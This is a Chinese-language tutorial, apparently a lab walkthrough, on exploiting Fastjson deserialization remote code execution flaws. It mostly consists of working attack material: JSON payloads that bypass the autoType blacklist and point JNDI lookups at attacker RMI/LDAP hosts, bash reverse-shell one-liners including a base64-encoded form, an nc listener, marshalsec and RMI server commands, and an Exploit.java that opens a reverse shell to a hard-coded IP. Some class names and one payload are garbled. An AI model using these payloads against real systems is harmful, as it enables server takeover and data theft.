Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串, 支持将 Java
Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了 autoTypeSupport 属性默认为false,并
且增加了 checkAutoType() 函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的
Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
com.sun.rowset.jdbcRowSetlmpl 在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是
否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来
那么就可以构造如下exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}
阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单检验的方
法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L
和;
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用 java.lang.Class 把获取到的
类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕
过黑名单。
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true }}
基于黑名单绕过, autoTypeSupport 属性为true才能使用,在1.2.25版本之后 autoTypeSupport 默认
为false
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了Fastjson。
通过burpsuite抓包查看数据包体中Content-Type是否为application/json。可以进一步使用报错的方式判断是否为fastjson。
Fastjson报错识别
:使用burpsuite抓包=>发送Repeater=>在请求头右击选择"Change request method"(更改http请求)=>将Content-type的属性改为application/json =>添加json格式。
可以看到当格式正确时,输出了该内容。
如果我们构造错误的json格式呢?
它就会爆出json信息。
也可以通过构造如下的json爆出json版本
。
[
{
"a":"a\x] {"@type":"java.lang.AutoCloseable"a
Fastjson漏洞发现
原理: java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在。
可以看到DNS对该域名进行解析,可以判断fastjson漏洞的存在。
fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的
set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特
殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
fastjson<1.2.48
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名
和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下命名/目录服务:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
它使客户机上运行的程序可以调用远程服务器上的对象。
cd vulhub--master
ls
cd fastjson/
ls
cd 1.2.47-rce/
docker-compose up -d
docker ps
https://toolaffix.oss-cn-beijing.aliyuncs.com/jndi_tool.jar
1.bash -i >& /dev/tcp/攻击机ip/6666 0>&1
2.bash -c {echo,bash -i >& /dev/tcp/攻击机-ip/6666 0>&1的base64编码}|
{base64,-d}|{bash,-i}
3.java -cp fastjson_tool.jar fastjson.HRMIServer 171.16.1.105 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzEuMTYuMS4xMDUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
java -cp fastjson_tool.jar fastjson.HRMIServer 124.71.45.28 9999 "要执行的命令"
nc -lnvp 6666
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机ip:9999/Object",
"autoCommit":true
}
}
1.Exploit.java
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&
/dev/tcp/47.101.214.85/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
python3 -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://171.16.1.105:8000/#Exploit” 9999
开启端口监听。